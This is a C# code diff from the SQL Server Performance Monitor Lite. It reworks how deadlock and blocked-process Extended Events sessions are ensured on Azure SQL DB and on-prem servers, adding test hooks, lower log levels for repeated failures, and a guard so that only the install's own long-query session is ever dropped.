-                /* Debug, not Info: this fires once per monitored database per cycle (#1535). */
-                AppLogger.Debug("XeSession", $"[Azure SQL DB:{connection.Database}] Blocked process XE session verified (database-scoped)");
-                return;
-            }
-        }
-
-        /* Create and start database-scoped session */
-        using (var cmd = new SqlCommand($@"
-CREATE EVENT SESSION [{BlockedProcessXeSessionName}]
-ON DATABASE
-ADD EVENT sqlserver.blocked_process_report
-ADD TARGET package0.ring_buffer
-(
-    SET max_memory = 4096
-)
-WITH
-(
-    MAX_DISPATCH_LATENCY = 5 SECONDS,
-    STARTUP_STATE = ON
-);
-
-ALTER EVENT SESSION [{BlockedProcessXeSessionName}] ON DATABASE STATE = START;", connection))
-        {
-            cmd.CommandTimeout = CommandTimeoutSeconds;
-            await cmd.ExecuteNonQueryAsync(cancellationToken);
-        }
-
-        AppLogger.Info("XeSession", $"[Azure SQL DB:{connection.Database}] Created and started blocked process XE session (database-scoped)");
-    }
-
     /// <summary>
     /// True when every error is a benign "the session is already there" extended-events error:
     /// 25631 (event session already exists) or 25705 (already started). On Azure SQL DB the XE
@@ -312,15 +255,19 @@ private static bool IsBenignXeSessionAlreadyPresent(SqlException ex)
     /// Azure SQL DB ensure driver, shared by the deadlock and blocked-process paths (#1535): one
     /// database-scoped XE session per monitored database, matching the collectors' per-database
     /// ring-buffer reads. Master is skipped (database-scoped sessions can't be created in logical
-    /// master); ExcludedDatabases is honored by <see cref="GetAzureDatabaseListAsync"/>.
+    /// master); ExcludedDatabases is honored by <see cref="GetAzureDatabaseListAsync(ServerConnection, CancellationToken)"/>.
     ///
-    /// <para><b>The #1251 benign path grew a read-back check.</b> A benign "already exists"/"already
-    /// started" from the engine proves the session is there, but NOT that this principal can see it:
-    /// the ring-buffer reader joins <c>sys.dm_xe_database_sessions</c>, and a session that is
-    /// invisible there (created by another principal, or present-but-stopped) reads zero rows forever
-    /// while the collector records SUCCESS — the exact silent-empty shape of #1346/#1535. So after a
-    /// benign error the session is probed in the reader's own DMV, and an invisible one is dropped
-    /// and recreated under this principal. On-prem keeps the plain benign log: its server-scoped
+    /// <para><b>The #1251 benign path grew a read-back check, and it is the long-query trace's own session
+    /// only.</b> A benign "already exists"/"already started" from the engine proves the session is there,
+    /// but NOT that this principal can see it: the ring-buffer reader joins
+    /// <c>sys.dm_xe_database_sessions</c>, and a session that is invisible there (created by another
+    /// principal, or present-but-stopped) reads zero rows forever while the collector records SUCCESS —
+    /// the exact silent-empty shape of #1346/#1535. So after a benign error the session is probed in the
+    /// reader's own DMV, and an invisible one is dropped and recreated under this principal. That read-back
+    /// and drop-and-recreate now apply only to the long-query trace's own session (the inner overload,
+    /// <see cref="BuildRecreateDropSql"/>): the deadlock and blocked-process ensures hand the driver their
+    /// own per-database routine, which never drops a shared session, and the driver moves on to the next
+    /// database after it, before the benign path. On-prem keeps the plain benign log: its server-scoped
     /// catalogs need the same VIEW SERVER STATE every collector already requires.</para>
     ///
     /// <para><b>Failure isolation:</b> one database failing to ensure must not kill capture for the
@@ -330,21 +277,204 @@ private static bool IsBenignXeSessionAlreadyPresent(SqlException ex)
     /// zero-row read record SUCCESS.</para>
     /// </summary>
     private async Task EnsureDatabaseScopedXeSessionsAsync(
+        ServerConnection server,
+        string captureName,
+        string sessionName,
+        Func<SqlConnection, CancellationToken, Task> ensureAsync,
+        CancellationToken cancellationToken,
+        Func<string, CancellationToken, Task>? alwaysOnInDatabase = null)
+    {
+        /* A test replaces the open and the ensure in each database. Null in production. */
+        var ensureInDatabase = XeSessionDatabaseEnsureOverrideForTests;
+
+        /* #4964: this ensure runs on every collector cycle, so a server that refuses it refuses it on every cycle. The first
+           failing cycle logs at Warning and Error; the cycles after it log the same lines at Debug, until a cycle of this
+           session on this server succeeds. The retry and the exception are the same on every cycle, so every run still records
+           the failure. A cancellation stops the cycle and says nothing about the server, so it changes neither. */
+        var warnedKey = XeSessionEnsureWarnedKey(server, sessionName);
+        var repeatsAtDebug = _databaseScopedXeSessionEnsureWarned.ContainsKey(warnedKey);
+
+        try
+        {
+            await EnsureDatabaseScopedXeSessionsAsync(
+                server, captureName, sessionName, ensureAsync, plannedDatabases: null, cancellationToken,
+                repeatsAtDebug,
+                ensureInDatabase is null
+                    ? alwaysOnInDatabase
+                    : (databaseName, token) => ensureInDatabase(server, sessionName, databaseName, token));
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            _databaseScopedXeSessionEnsureWarned[warnedKey] = true;
+
+            /* The raise carries whether this cycle repeated, so the collector's own line follows the ensure's lines. */
+            if (ex is XeSessionEnsureException ensureFailure)
+            {
+                ensureFailure.RepeatsAtDebug = repeatsAtDebug;
+            }
+
+            throw;
+        }
+
+        _databaseScopedXeSessionEnsureWarned.TryRemove(warnedKey, out _);
+    }
+
+    /// <summary>
+    /// A test replaces the always-on sessions' listing of the databases to ensure, which the shared ensure otherwise reads
+    /// from the server. Null in production.
+    /// </summary>
+    internal Func<ServerConnection, CancellationToken, Task<List<string>>>? XeSessionDatabaseListOverrideForTests { get; set; }
+
+    /// <summary>
+    /// A test replaces the open and the ensure in one database for the always-on sessions: the server, the session name and
+    /// the database. A failure from it reaches the shared ensure's per-database catch like a refusal from the server. Null in
+    /// production.
+    /// </summary>
+    internal Func<ServerConnection, string, string, CancellationToken, Task>? XeSessionDatabaseEnsureOverrideForTests { get; set; }
+
+    /// <summary>
+    /// A test replaces the open and the ensure on the server-scoped arm of the always-on sessions: the server and the session
+    /// name. A failure from it reaches the arm's catch like a refusal from the server. Null in production.
+    /// </summary>
+    internal Func<ServerConnection, string, CancellationToken, Task>? XeSessionServerEnsureOverrideForTests { get; set; }
+
+    /// <summary>
+    /// The server-scoped arm of the deadlock and blocked-process ensures (on-prem, Azure Managed Instance, AWS RDS): one
+    /// connection, and the session's own ensure on it. A server that refuses raises <see cref="XeSessionEnsureException"/>, so
+    /// the run records the failure (#1086) instead of a zero-row read recording SUCCESS.
+    /// </summary>
+    private async Task EnsureServerScopedXeSessionAsync(
         ServerConnection server,
         string captureName,
         string sessionName,
         Func<SqlConnection, CancellationToken, Task> ensureAsync,
         CancellationToken cancellationToken)
     {
-        List<string> databases;
+        /* #4964: the same rule as the Azure ensure, from the same per-server, per-session state. The first failing cycle logs at
+           Warning or Error; the cycles after it log the same line at Debug, until a cycle of this session on this server
+           succeeds. The retry and the exception are the same on every cycle, so every run still records the failure. A
+           cancellation says nothing about the server, so it changes neither. */
+        var warnedKey = XeSessionEnsureWarnedKey(server, sessionName);
+        var repeatsAtDebug = _databaseScopedXeSessionEnsureWarned.ContainsKey(warnedKey);
+
         try
         {
-            databases = await GetAzureDatabaseListAsync(server, cancellationToken);
+            /* A test replaces the open and the ensure. Null in production. */
+            if (XeSessionServerEnsureOverrideForTests is { } ensureOnServer)
+            {
+                await ensureOnServer(server, sessionName, cancellationToken);
+            }
+            else
+            {
+                using var connection = await CreateConnectionAsync(server, cancellationToken);
+                await ensureAsync(connection, cancellationToken);
+            }
+        }
+        catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+        {
+            /* The session is already present + running -- see IsBenignXeSessionAlreadyPresent (#1251). */
+            AppLogger.Info("XeSession", $"[{server.DisplayName}] {char.ToUpperInvariant(captureName[0])}{captureName[1..]} XE session already present (benign, #1251)");
         }
         catch (SqlException ex)
         {
-            AppLogger.Error("XeSession", $"[{server.DisplayName}] Failed to enumerate databases for {captureName} XE sessions: {ex.Message}");
-            throw new XeSessionEnsureException(captureName, ex);
+            /* Warn rather than Error when the server simply said no: a denied XE session is a least-privilege
+               posture (#1823), classified as PERMISSIONS upstream and retried no further this session.
+               Genuine failures still log at Error. */
+            var failure = $"[{server.DisplayName}] Failed to ensure {captureName} XE session: {ex.Message}";
+            if (repeatsAtDebug)
+            {
+                AppLogger.Debug("XeSession", failure);
+            }
+            else if (SqlServerPermissionErrors.IsPermissionDenied(ex.Number))
+            {
+                AppLogger.Warn("XeSession", failure);
+            }
+            else
+            {
+                AppLogger.Error("XeSession", failure);
+            }
+
+            if (!cancellationToken.IsCancellationRequested)
+            {
+                _databaseScopedXeSessionEnsureWarned[warnedKey] = true;
+            }
+
+            /* Propagate so RunCollectorAsync marks the collector unhealthy instead
+               of letting a zero-row ring-buffer read record SUCCESS (#1086). The raise carries whether this cycle
+               repeated, so the collector's own line follows the ensure's. */
+            throw new XeSessionEnsureException(captureName, ex) { RepeatsAtDebug = repeatsAtDebug };
+        }
+
+        /* Succeeded, or the engine said the session is already there: the run of failures is over. */
+        _databaseScopedXeSessionEnsureWarned.TryRemove(warnedKey, out _);
+    }
+
+    /// <summary>The key of the always-on sessions' ensure state (<see cref="_databaseScopedXeSessionEnsureWarned"/>): the server id, then the session name.</summary>
+    private static string XeSessionEnsureWarnedKey(ServerConnection server, string sessionName) => $"{server.Id}:{sessionName}";
+
+    /// <summary>
+    /// <see cref="EnsureDatabaseScopedXeSessionsAsync(ServerConnection, string, string, Func{SqlConnection, CancellationToken, Task}, CancellationToken)"/>
+    /// over a list the caller already planned. The always-on deadlock and blocked-process sessions pass none and
+    /// follow the inventory, as before. The long-query trace passes its plan's create list
+    /// (<see cref="LongQueryTraceDatabases.Plan"/>): the monitored databases, minus those monitored as their own
+    /// servers. An empty plan ensures nothing and does not throw.
+    ///
+    /// <para><paramref name="repeatsAtDebug"/>: true once a create has warned for this server and session (#4964). The
+    /// long-query trace passes the flag its reconcile keeps, and the always-on deadlock and blocked-process ensures pass
+    /// the one their entry point keeps. The per-database failure lines and the all-refused line then log at Debug instead
+    /// of Warning and Error, and so does the listing failure. The retry and the exception are the same either way, so the
+    /// run still records the failure.</para>
+    ///
+    /// <para><paramref name="ensureInDatabase"/>: the work in one database, in place of the open and the ensure below
+    /// (<paramref name="ensureAsync"/>, the read-back, the drop-and-recreate). The deadlock and blocked-process ensures
+    /// pass their per-database routine in production, and a test passes one for the long-query trace. A failure from it
+    /// reaches the per-database catch like a refusal from the server. Null for the long-query trace in production, whose
+    /// own session goes through the open and the ensure.</para>
+    /// </summary>
+    private async Task EnsureDatabaseScopedXeSessionsAsync(
+        ServerConnection server,
+        string captureName,
+        string sessionName,
+        Func<SqlConnection, CancellationToken, Task> ensureAsync,
+        IReadOnlyList<string>? plannedDatabases,
+        CancellationToken cancellationToken,
+        bool repeatsAtDebug = false,
+        Func<string, CancellationToken, Task>? ensureInDatabase = null,
+        Func<Exception, string?>? explainRefusal = null)
+    {
+        IReadOnlyList<string> databases;
+        if (plannedDatabases is not null)
+        {
+            databases = plannedDatabases;
+        }
+        else
+        {
+            try
+            {
+                /* A test replaces the listing. Null in production. */
+                if (XeSessionDatabaseListOverrideForTests is { } listOverride)
+                {
+                    databases = await listOverride(server, cancellationToken);
+                }
+                else
+                {
+                    databases = await GetAzureDatabaseListAsync(server, cancellationToken);
+                }
+            }
+            catch (SqlException ex)
+            {
+                var listingFailure = $"[{server.DisplayName}] Failed to enumerate databases for {captureName} XE sessions: {ex.Message}";
+                if (repeatsAtDebug)
+                {
+                    AppLogger.Debug("XeSession", listingFailure);
+                }
+                else
+                {
+                    AppLogger.Error("XeSession", listingFailure);
+                }
+
+                throw new XeSessionEnsureException(captureName, ex);
+            }
         }
 
         int attempted = 0;
@@ -365,6 +495,18 @@ private async Task EnsureDatabaseScopedXeSessionsAsync(
 
             try
             {
+                /* The caller's own routine replaces the open and the ensure in one database: the deadlock and
+                   blocked-process ensures pass theirs in production (it starts a stopped session, falls back to this
+                   install's own, and never drops a shared one), and a test passes one for the long-query trace. A failure
+                   from it reaches the catch below like a refusal from the server. Null for the long-query trace in
+                   production, which takes the open and the ensure below. */
+                if (ensureInDatabase is not null)
+                {
+                    await ensureInDatabase(databaseName, cancellationToken);
+                    healthy++;
+                    continue;
+                }
+
                 using var connection = await OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken);
                 var readable = true;
 
@@ -429,13 +571,33 @@ session every cycle (each DROP wipes captured-but-unread events, #1535). This is
             catch (Exception ex) when (ex is not OperationCanceledException)
             {
                 firstFailure ??= ex;
-                AppLogger.Warn("XeSession", $"[{server.DisplayName}] [{databaseName}] Failed to ensure {captureName} XE session: {ex.Message}");
+                /* #4961: a caller that can say why a refusal happened and what to change (a read-only database) has that line
+                   logged here instead of the server's own message. */
+                var refusal = explainRefusal?.Invoke(ex) is { } explanation
+                    ? $"[{server.DisplayName}] [{databaseName}] {explanation}"
+                    : $"[{server.DisplayName}] [{databaseName}] Failed to ensure {captureName} XE session: {AlwaysOnXeSessions.DescribeFailure(ex)}";
+                if (repeatsAtDebug)
+                {
+                    AppLogger.Debug("XeSession", refusal);
+                }
+                else
+                {
+                    AppLogger.Warn("XeSession", refusal);
+                }
             }
         }
 
         if (attempted > 0 && healthy == 0 && firstFailure is not null)
         {
-            AppLogger.Error("XeSession", $"[{server.DisplayName}] Failed to ensure the {captureName} XE session in all {attempted} database(s)");
+            var allRefused = $"[{server.DisplayName}] Failed to ensure the {captureName} XE session in all {attempted} database(s)";
+            if (repeatsAtDebug || explainRefusal?.Invoke(firstFailure) is not null)
+            {
+                AppLogger.Debug("XeSession", allRefused);
+            }
+            else
+            {
+                AppLogger.Error("XeSession", allRefused);
+            }
 
             if (firstFailure is SqlException sqlFailure)
             {
@@ -452,7 +614,9 @@ silent SUCCESS. */
     /* Databases where a drop+recreate demonstrably did NOT make the session visible to the reader
        (see the give-up branch above): keyed server:database:session, in-memory so an app restart
        retries once. Prevents a per-cycle DROP/CREATE ping-pong that would wipe captured-but-unread
-       ring-buffer events every cycle in a pathological-permissions database.
+       ring-buffer events every cycle in a pathological-permissions database. Since #4961 it covers
+       only the long-query trace's own session: the deadlock and blocked-process sessions are no
+       longer dropped and recreated, so nothing of theirs is written here.
 
        Value is the UTC time the recreate was abandoned, NOT a bare flag (#2677). The invisibility this
        guards is usually a TRANSIENT Azure condition - a failover or scale operation leaves the session in
@@ -503,13 +667,13 @@ ELSE 0
     /// recreated under this principal, visible to the reader. The DROP works by name even when the
     /// catalogs hide the session — the same store the CREATE collided with resolves it.
     /// </summary>
-    private static async Task RecreateDatabaseScopedXeSessionAsync(
+    private async Task RecreateDatabaseScopedXeSessionAsync(
         SqlConnection connection,
         string sessionName,
         Func<SqlConnection, CancellationToken, Task> ensureAsync,
         CancellationToken cancellationToken)
     {
-        using (var dropCmd = new SqlCommand($"DROP EVENT SESSION [{sessionName}] ON DATABASE;", connection))
+        using (var dropCmd = new SqlCommand(BuildRecreateDropSql(sessionName), connection))
         {
             dropCmd.CommandTimeout = CommandTimeoutSeconds;
             await dropCmd.ExecuteNonQueryAsync(cancellationToken);
@@ -518,6 +682,24 @@ private static async Task RecreateDatabaseScopedXeSessionAsync(
         await ensureAsync(connection, cancellationToken);
     }
 
+    /// <summary>
+    /// The drop that comes before a recreate: one statement, for this install's own long-query session in the connected
+    /// database, and for no other name (#4961). Any other name throws, a shared session's included: the deadlock and
+    /// blocked-process ensures hand the driver their own per-database routine and never reach the recreate, and another
+    /// install may be reading a shared session, so a drop of it is never this install's to make. An install with no id owns
+    /// no session, so it refuses every name. The name it takes is made from a validated hex id, so it is safe to put in the
+    /// statement.
+    /// </summary>
+    internal string BuildRecreateDropSql(string sessionName)
+    {
+        if (LongQuerySessionName() is not { } own || !string.Equals(sessionName, own, StringComparison.Ordinal))
+        {
+            throw new ArgumentException("Only this install's own long-query session is dropped and recreated, never a shared one.", nameof(sessionName));
+        }
+
+        return $"DROP EVENT SESSION [{own}] ON DATABASE;";
+    }
+
     /// <summary>
     /// Collects blocked process reports via the shared <see cref="BlockedProcessReportCollector"/>
     /// definition (the server- vs database-scoped ring-buffer reads, the wait_resource →
diff --git a/Lite/Services/RemoteCollectorService.Deadlocks.cs b/Lite/Services/RemoteCollectorService.Deadlocks.cs
index 7bd3eb2feb..9ea60b1ffe 100644
--- a/Lite/Services/RemoteCollectorService.Deadlocks.cs
+++ b/Lite/Services/RemoteCollectorService.Deadlocks.cs
@@ -41,45 +41,21 @@ public async Task EnsureDeadlockXeSessionAsync(ServerConnection server, int engi
         {
             /* Azure SQL DB: one database-scoped session per monitored database, matching the
                per-database ring-buffer read (DeadlocksCollector.RunsPerDatabase). The shared driver
-               skips master, honors ExcludedDatabases via the shared database list, self-heals
-               sessions the reader can't see, and only surfaces unhealthy when NO database could be
-               ensured. */
+               skips master, honors ExcludedDatabases via the shared database list, and only
+               surfaces unhealthy when NO database could be ensured. The per-database routine
+               passed here never drops a shared session (#4961): it starts a stopped one, and
+               falls back to this install's own session when the shared one stays unusable. */
             await EnsureDatabaseScopedXeSessionsAsync(
                 server, "deadlock", DeadlockXeSessionName,
-                EnsureDeadlockXeSessionAzureSqlDbAsync, cancellationToken);
+                AlwaysOnArmEnsureNotUsed, cancellationToken,
+                (databaseName, token) => EnsureAlwaysOnXeSessionInDatabaseAsync(server, AlwaysOnXeSessionKind.Deadlock, "deadlock", databaseName, token));
             return;
         }
 
-        try
-        {
-            using var connection = await CreateConnectionAsync(server, cancellationToken);
-
-            /* On-prem, Azure MI, and AWS RDS: create server-scoped session with ring_buffer */
-            await EnsureDeadlockXeSessionOnPremAsync(connection, server, cancellationToken);
-        }
-        catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
-        {
-            /* Session already present + running -- see IsBenignXeSessionAlreadyPresent (#1251). */
-            AppLogger.Info("XeSession", $"[{server.DisplayName}] Deadlock XE session already present (benign, #1251)");
-        }
-        catch (SqlException ex)
-        {
-            /* Warn rather than Error when the server simply said no: a denied XE session is a least-privilege
-               posture (#1823), classified as PERMISSIONS upstream and retried no further this session.
-               Genuine failures still log at Error. */
-            if (SqlServerPermissionErrors.IsPermissionDenied(ex.Number))
-            {
-                AppLogger.Warn("XeSession", $"[{server.DisplayName}] Failed to ensure deadlock XE session: {ex.Message}");
-            }
-            else
-            {
-                AppLogger.Error("XeSession", $"[{server.DisplayName}] Failed to ensure deadlock XE session: {ex.Message}");
-            }
-
-            /* Propagate so RunCollectorAsync marks the collector unhealthy instead
-               of letting a zero-row ring-buffer read record SUCCESS (#1086) */
-            throw new XeSessionEnsureException("deadlock", ex);
-        }
+        /* On-prem, Azure MI, and AWS RDS: create server-scoped session with ring_buffer */
+        await EnsureServerScopedXeSessionAsync(
+            server, "deadlock", DeadlockXeSessionName,
+            (connection, token) => EnsureDeadlockXeSessionOnPremAsync(connection, server, token), cancellationToken);
     }
 
     /// <summary>
@@ -171,112 +147,6 @@ Genuine failures still log at Error. */
         }
     }
 
-    /// <summary>
-    /// Azure SQL DB: creates database-scoped XE session with ring_buffer target.
-    /// File targets are not supported in Azure SQL DB.
-    /// </summary>
-    private async Task EnsureDeadlockXeSessionAzureSqlDbAsync(SqlConnection connection, CancellationToken cancellationToken)
-    {
-        /* Check if database-scoped session already exists and uses the correct event */
-        using (var cmd = new SqlCommand(@"
-SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
-
-SELECT /* PerformanceMonitorLite */
-    has_correct_event = CASE
-        WHEN EXISTS
-        (
-            SELECT 1/0
-            FROM sys.database_event_session_events AS dese
-            JOIN sys.database_event_sessions AS des
-              ON des.event_session_id = dese.event_session_id
-            WHERE des.name = @session_name
-            AND   dese.name = N'database_xml_deadlock_report'
-        )
-        THEN 1
-        WHEN EXISTS
-        (
-            SELECT 1/0
-            FROM sys.database_event_sessions AS des
-            WHERE des.name = @session_name
-        )
-        THEN 0
-        ELSE NULL
-    END;", connection))
-        {
-            cmd.CommandTimeout = CommandTimeoutSeconds;
-            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = DeadlockXeSessionName });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
-
-            if (result is int hasCorrectEvent)
-            {
-                if (hasCorrectEvent == 0)
-                {
-                    /* Session exists but uses wrong event (xml_deadlock_report instead of database_xml_deadlock_report).
-                       Drop it so we can recreate with the correct event. */
-                    try
-                    {
-                        using var dropCmd = new SqlCommand(
-                            $"DROP EVENT SESSION [{DeadlockXeSessionName}] ON DATABASE;", connection);
-                        dropCmd.CommandTimeout = CommandTimeoutSeconds;
-                        await dropCmd.ExecuteNonQueryAsync(cancellationToken);
-                        AppLogger.Info("XeSession", $"[Azure SQL DB:{connection.Database}] Dropped deadlock XE session with incorrect event, will recreate");
-                    }
-                    catch (SqlException ex)
-                    {
-                        AppLogger.Error("XeSession", $"[Azure SQL DB:{connection.Database}] Failed to drop old deadlock XE session: {ex.Message}");
-                    }
-                    /* Fall through to create with correct event */
-                }
-                else
-                {
-                    /* Session exists with correct event - ensure it's started */
-                    using var startCmd = new SqlCommand($@"
-IF NOT EXISTS
-(
-    SELECT
-        1/0
-    FROM sys.dm_xe_database_sessions AS xes
-    WHERE xes.name = N'{DeadlockXeSessionName}'
-)
-BEGIN
-    ALTER EVENT SESSION [{DeadlockXeSessionName}] ON DATABASE STATE = START;
-END;", connection);
-                    startCmd.CommandTimeout = CommandTimeoutSeconds;
-                    await startCmd.ExecuteNonQueryAsync(cancellationToken);
-
-                    /* Debug, not Info: this fires once per monitored database per cycle (#1535). */
-                    AppLogger.Debug("XeSession", $"[Azure SQL DB:{connection.Database}] Deadlock XE session verified (database-scoped)");
-                    return;
-                }
-            }
-        }
-
-        /* Create and start database-scoped session.
-           Azure SQL DB uses database_xml_deadlock_report instead of xml_deadlock_report. */
-        using (var cmd = new SqlCommand($@"
-CREATE EVENT SESSION [{DeadlockXeSessionName}]
-ON DATABASE
-ADD EVENT sqlserver.database_xml_deadlock_report
-ADD TARGET package0.ring_buffer
-(
-    SET max_memory = 4096
-)
-WITH
-(
-    MAX_DISPATCH_LATENCY = 5 SECONDS,
-    EVENT_RETENTION_MODE = ALLOW_SINGLE_EVENT_LOSS,
-    STARTUP_STATE = ON
-);
-
-ALTER EVENT SESSION [{DeadlockXeSessionName}] ON DATABASE STATE = START;", connection))
-        {
-            cmd.CommandTimeout = CommandTimeoutSeconds;
-            await cmd.ExecuteNonQueryAsync(cancellationToken);
-        }
-
-        AppLogger.Info("XeSession", $"[Azure SQL DB:{connection.Database}] Created and started deadlock XE session (database-scoped)");
-    }
-
     /// <summary>
     /// Collects deadlocks via the shared <see cref="DeadlocksCollector"/> definition (the
     /// server- vs database-scoped ring-buffer reads, the deadlock_time watermark, and the
diff --git a/Lite/Services/RemoteCollectorService.DefinitionRunner.cs b/Lite/Services/RemoteCollectorService.DefinitionRunner.cs
index aba46be700..37e7bed78c 100644
--- a/Lite/Services/RemoteCollectorService.DefinitionRunner.cs
+++ b/Lite/Services/RemoteCollectorService.DefinitionRunner.cs
@@ -34,6 +34,12 @@ public partial class RemoteCollectorService
     /// <summary>Supplies a database's reader instead of a live connection. Null in production.</summary>
     internal Func<string, CollectorQuery, DbDataReader>? AzureDatabaseReaderOverrideForTests { get; set; }
 
+    /// <summary>
+    /// Supplies the primary reader of the server-wide (not per-database) single-query path instead of a live
+    /// connection (#5320, the twin of <see cref="AzureDatabaseReaderOverrideForTests"/>). Null in production.
+    /// </summary>
+    internal Func<CollectorQuery, DbDataReader>? ServerReaderOverrideForTests { get; set; }
+
     /// <summary>
     /// One Azure database's open connection, command and reader, disposed in that order (reader,
     /// command, connection). The command and connection are null when a test supplied the reader.
@@ -251,6 +257,8 @@ and a single-name prune there would delete every live watermark it has. */
             IgnoredWaitTypes = _ignoredWaitTypes.Value,
             ExcludedDatabases = server.ExcludedDatabases?.ToArray() ?? Array.Empty<string>(),
             PerfmonCounterOverride = GetPerfmonCounterOverride(),
+            /* #4961: the long-query definition reads this install's own session, so its context carries the name. */
+            LongQuerySessionName = definition is LongQueryCompletionsCollector ? LongQuerySessionName() : null,
         };
 
         /* Two accumulators, not one contiguous read-then-write pair: the enumeration and Azure paths now
@@ -280,6 +288,31 @@ watermark would let one busy database's newer event silence another database's o
                 ? await databaseListOverride(server, cancellationToken)
                 : await GetAzureDatabaseListAsync(server, cancellationToken);
 
+            /* The long-query trace leaves a database monitored as its own server to that registration, and never
+               keeps a session in master, so its read does too (LongQueryCompletionsCollector.SkipsSeparatelyMonitoredDatabases).
+               A logical server lists master beside its user databases. master goes first and is not counted as
+               listed: the note below speaks of user databases, and a list of master alone has none to blame it on
+               (#4961). Other collectors read the list as it came. */
+            var listedDatabaseCount = databases.Count;
+            if (definition.SkipsSeparatelyMonitoredDatabases)
+            {
+                databases = databases.FindAll(LongQueryTraceDatabases.CanHoldSession);
+                listedDatabaseCount = databases.Count;
+                databases = WithoutSeparatelyMonitoredDatabases(server, databases);
+            }
+
+            /* #4961: a list with nothing left to read used to record SUCCESS, 0 rows and no note, which reads as
+               "nothing ran". The note names why nothing was read (every user database monitored as its own server,
+               or every database excluded). The status stays SUCCESS: nothing failed. It is held here and merged
+               into the assignment that follows the loop, because that assignment is unconditional and would erase
+               a note put on the telemetry now. Lite has no database scope. Mirrors Darling. */
+            var emptyListNote = EmptyDatabaseListNote.For(
+                listedDatabaseCount,
+                databases.Count,
+                definition.SkipsSeparatelyMonitoredDatabases,
+                exclusionsConfigured: server.ExcludedDatabases is { Count: > 0 },
+                databaseScoped: false);
+
             var attempted = 0;
             var failed = 0;
             Exception? firstFailure = null;
@@ -328,6 +361,15 @@ iteration so a fault cannot leak this database's staged cursor into a sibling's
                        CollectorContext.CurrentDatabaseName. */
                     context.CurrentDatabaseName = databaseName;
 
+                    /* #4961: the deadlock and blocked-process reads name the session the ensure chose for THIS database, so
+                       the name is set per database, beside the database name. Every other definition leaves it null. */
+                    context.AlwaysOnSessionName = definition switch
+                    {
+                        DeadlocksCollector => AlwaysOnReadSessionName(server, databaseName, AlwaysOnXeSessionKind.Deadlock),
+                        BlockedProcessReportCollector => AlwaysOnReadSessionName(server, databaseName, AlwaysOnXeSessionKind.BlockedProcess),
+                        _ => null,
+                    };
+
                     var dbPlan = plan;
                     if (dbPlan is null)
                     {
@@ -585,11 +627,14 @@ guard as the hole recording above. */
 
             /* #1875: ONE note for the cycle and ONE capped log burst, composed from every database's
                failures together. Assigned unconditionally — a cycle where nothing failed composes null,
-               which is exactly what this path carried before. */
+               which is exactly what this path carried before. The empty-list note (#4961) rides in this
+               assignment: it is the one place the note is set, so nothing assigned earlier can be erased. */
             telemetry.HostNote = EnumeratedCollectorDriver.MergeNotes(
-                cycleProbeFailures.Note,
-                EnumeratedCollectorDriver.BuildPartialFailureNote(
-                    failed, attempted, failedDatabases, firstFailure?.Message));
+                emptyListNote,
+                EnumeratedCollectorDriver.MergeNotes(
+                    cycleProbeFailures.Note,
+                    EnumeratedCollectorDriver.BuildPartialFailureNote(
+                        failed, attempted, failedDatabases, firstFailure?.Message)));
             LogEnumerationProbeFailures(definition, server, cycleProbeFailures.Failures);
 
             /* One database failing is routine (offline, mid-restore, a permissions oddity) and stays a
@@ -606,7 +651,10 @@ RunCollectorAsync classifies it (PERMISSIONS / transient / ERROR) instead. */
         }
         else
         {
-            using var sqlConnection = await CreateConnectionAsync(server, cancellationToken);
+            /* An unopened connection stands in when a test supplies the reader: nothing below touches it then. */
+            using var sqlConnection = ServerReaderOverrideForTests is null
+                ? await CreateConnectionAsync(server, cancellationToken)
+                : new SqlConnection();
 
             var enumerationPlan = definition.BuildEnumerationQuery(context);
             if (enumerationPlan is not null)
@@ -907,7 +955,9 @@ is byte-for-byte what it was. */
                 try
                 {
                     using var command = CreateCollectorCommand(plan, sqlConnection, definition.CommandTimeoutSecondsOverride ?? CommandTimeoutSeconds);
-                    using var reader = await command.ExecuteReaderAsync(itemToken);
+                    using var reader = ServerReaderOverrideForTests is { } serverReader
+                        ? serverReader(plan)
+                        : await command.ExecuteReaderAsync(itemToken);
                     rows = await definition.ReadAsync(reader, context, itemToken);
 
                     /* #1851: a definition that declares it may hand back an OPTIONAL trailing
@@ -1241,7 +1291,7 @@ private static List<TRow> DropAlreadyStoredIdentityRows<TRow>(
     /// the earliest batch event time minus one day.
     /// </summary>
     internal static string StoredIdentitySql(string targetTable) =>
-        $"SELECT deadlock_time, deadlock_graph_xml FROM {targetTable} " +
+        $"SELECT deadlock_time, {DeadlocksCollector.StoredGraphIdentitySql} FROM {targetTable} " +
         "WHERE server_id = $1 AND deadlock_graph_xml IS NOT NULL AND deadlock_graph_xml <> '' " +
         "AND deadlock_time IN (SELECT UNNEST($2)) AND collection_time >= $3";
 
diff --git a/Lite/Services/RemoteCollectorService.LegacyLongQuerySession.cs b/Lite/Services/RemoteCollectorService.LegacyLongQuerySession.cs
new file mode 100644
index 0000000000..ad37af57b2
--- /dev/null
+++ b/Lite/Services/RemoteCollectorService.LegacyLongQuerySession.cs
@@ -0,0 +1,359 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Data;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Models;
+
+namespace PerformanceMonitorLite.Services;
+
+/* #4961: the long-query session that versions before this one shared between installs. Each upgraded install drops it once per
+   registration and database, then records the drop in collector_state, so it never touches that session again. The step lives
+   here, apart from the reconcile, because the reconcile's own file must never name the legacy session (its source pins say so). */
+public partial class RemoteCollectorService
+{
+    /// <summary>
+    /// Replaces the look for a legacy long-query session that an older install created again: called with the server and the
+    /// database (empty on server scope), true when the session exists there. Null in production, where the ensure's own batch
+    /// looks.
+    /// </summary>
+    internal Func<ServerConnection, string, bool>? LegacyLongQuerySessionExistsForTests { get; set; }
+
+    /* The keys known to be recorded (server id, state key), so a later cycle does not read the store again for them. */
